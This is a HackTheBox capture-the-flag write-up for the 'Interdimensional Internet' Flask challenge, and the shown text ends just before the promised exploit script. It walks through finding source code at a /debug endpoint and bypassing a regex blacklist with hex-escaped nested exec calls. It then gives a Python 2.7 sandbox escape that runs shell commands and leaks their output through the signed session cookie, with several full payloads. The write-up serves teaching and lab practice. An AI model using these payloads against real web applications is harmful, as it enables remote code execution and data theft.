Interdimensional Internet HackTheBox Write-up
This CTF is ranked as medium with a user rating of it being a brain-f*ck. I enjoyed this CTF and in hopes of helping/teaching others the methodology of completing it, I’ve decided to write a write up detailing the methods and payloads I used to solve it.
0x01: Enumeration & Reconnaissance.
So like every web-ctf the initial phase will be enumeration and reconnaissance. I started off by using gobuster to discover endpoints for information gathering and testing and uncovered the /debug endpoint containing the contents of a python script:
Evidently this script contains the contents of a python-flask application after running WhatWeb against the ctf server I discovered this server is indeed running flask via examining the Server HTTP header:
Server: Werkzeug/1.0.1 Python/2.7.17
0x02: Understanding the web-application.
Analyzing the source code of the flask application reveals the /debug route/endpoint which reads the contents of __file__ and returns the read bytes via a response to the user/client. __file__ is a python variable that stores the name of the current file similar to sys.argv[0]. So we can establish that /debug contains the current web-application’s source code.
The other route is / which contains the return value from GFW which will be a specific function returned based on certain conditions. The argument passed to the func parameter of GFW in the index function is render_template(‘index.html’) i.e. this will return the index.html of the web-application to be run whilst also executing code local to GFW. After visiting the homepage of the server I noticed it was outputting a dynamically generated number/integer:
I also noticed this integer was being generated via the following files within the GFW function of the flask application:
Interestingly I took notice of something very interesting in the calc function:
The exec function now we’re talking, perhaps we can reach this code block to gain code execution and possibly remote command execution. To reach the exec function we must do so via bypassing a regex blacklist filter:
The data that will be passed to the WAF and calc function is obtained via certain values in the current user’s cookie:
The recipe string is just ingredient and measurements cookie values concatenated together with the “ = “ string in between them. The recipe string cannot contain a character/byte length greater than 300:
We also cannot modify the flask cookies without using flask cookie encoding/decoding and flask signing/unsigning which I will provide within the final python exploit.py file.
0x03: Let me out of jail.
So at this point we can establish that the CTF is primarily looking like a python 2.7 jail challenge via bypassing a web-application-firewall which contains a regex filter plus length check. We can control the cookie values ingredient and measurements indicating we can achieve code execution if we can somehow bypass the WAF. I discovered through trail and error that python 2.7’s interpreter will parse raw bytes as a string. This means that we should be able to bypass the regex check via nesting a call to exec within the recipe string passed to exec which will contain another payload string that will have each black listed character replaced with its hexidecimal value with an additional escape sequence added (backslash) so that regex will treat this nested string’s bytes as literal characters instead of raw bytes, POC:
exec(‘exec “\\x5b\\x28\\x5f\\x2e”)’)
This successfully bypassed the regex blacklist check, and we can now establish that we can achieve code execution via the following payload within the cookie’s values:
ingredient: x
measurement: “x”\nexec “””t=[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == ‘catch_warnings’][0]()._module.__builtins__[‘__import__’](‘time’)
t.sleep(10)”””
Which after payload encoding and recipe concatenation will translate to:
x = “x”\nexec “””t=\\x5bc for c in \\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28) if c\\x2e\\x5f\\x5fname\\x5f\\x5f == \’catch\\x5fwarnings\’]\\x5b0]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b\’\\x5f\\x5fimport\\x5f\\x5f\’]\\x28\’time\’)\nt\\x2esleep\\x2810)”””
0x04: Exploit development.
Now that we have established a working bypass for the regex and we know we can achieve code execution it’s time to bypass the recipe length check and gain RCE. The previous payload will not suffice to gain RCE because when using the os module’s methods within our payload we will exceed the maximum recipe length allowed. We need to condense our payload to bypass this check. After examining the above payload I discovered that ().__class__.__base__.__subclasses__() is a list so instead of using list comprehension to access the warnings.catch_warnings value we need, we will simply access it via index like so:
().__class__.__base__.__subclasses__()[59]
We can also utilize single assignment expression to further decrease the recipe string’s length:
i(‘time’).sleep(10)
We can extend this in the following way to achieve RCE:
i(‘os’).popen(‘ls’).read()
This will significantly decrease the amount of bytes/characters in our payload effectively allowing us to bypass the recipe string length check.
When testing, this doesn’t do much from a blind-RCE standpoint, unless you are willing to brute force each individual character of each filename within the current working directory and each character within their contents like boolean based blind-sqli. There is a much more effective way to exfiltrate the flag’s filename, it’s contents and also any command’s output you wish to execute as long as the recipe string doesn’t exceed the recipe length check’s bounds. You can utilize flask’s session method to set a new cookie for the current user. This will set whatever values you specify in the Set-Cookie header sent to the client/user in the server’s response. So finally our payload should look like the following:
i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__[‘__import__’]
i(‘flask’).session[‘x’]=i(‘os’).popen(‘<command>’).read()
So like usual we need to list the files within the current working directory:
i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__[‘__import__’]
i(‘flask’).session[‘x’]=i(‘os’).popen(‘ls’).read()
After WAF bypass encoding:
x”\nexec “””i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b\’\\x5f\\x5fimport\\x5f\\x5f\’]\ni\\x28\’flask\’)\\x2esession\\x5b\’x\’]=i\\x28\’os\’)\\x2epopen\\x28\’ls\’)\\x2eread\\x28)”””
After executing the payload the server responds with the Set-Cookie HTTP header containing a flask cookie that when decoded contains the following contents:
app.py
templates
totally_not_a_loooooooong_flaaaaag
Finally we will read the contents of the flag file via cat:
i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__[‘__import__’]
i(‘flask’).session[‘x’]=i(‘os’).popen(‘cat t*’).read()
After WAF bypass encoding:
“x”\nexec “””i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b\’\\x5f\\x5fimport\\x5f\\x5f\’]\ni\\x28\’flask\’)\\x2esession\\x5b\’x\’]=i\\x28\’os\’)\\x2epopen\\x28\’cat t*\’)\\x2eread\\x28)”””
The server will respond with the contents of the flag file within the cookie via the Set-Cookie HTTP header effectively giving you the flag.
If you remember from 0x02 this all requires flask cookie decoding/encoding and flask cookie signing/unsigning, we will achieve this by using the SECRET_KEY disclosed in the /debug endpoint all within a python3 script to simplify the process and make things less methodical: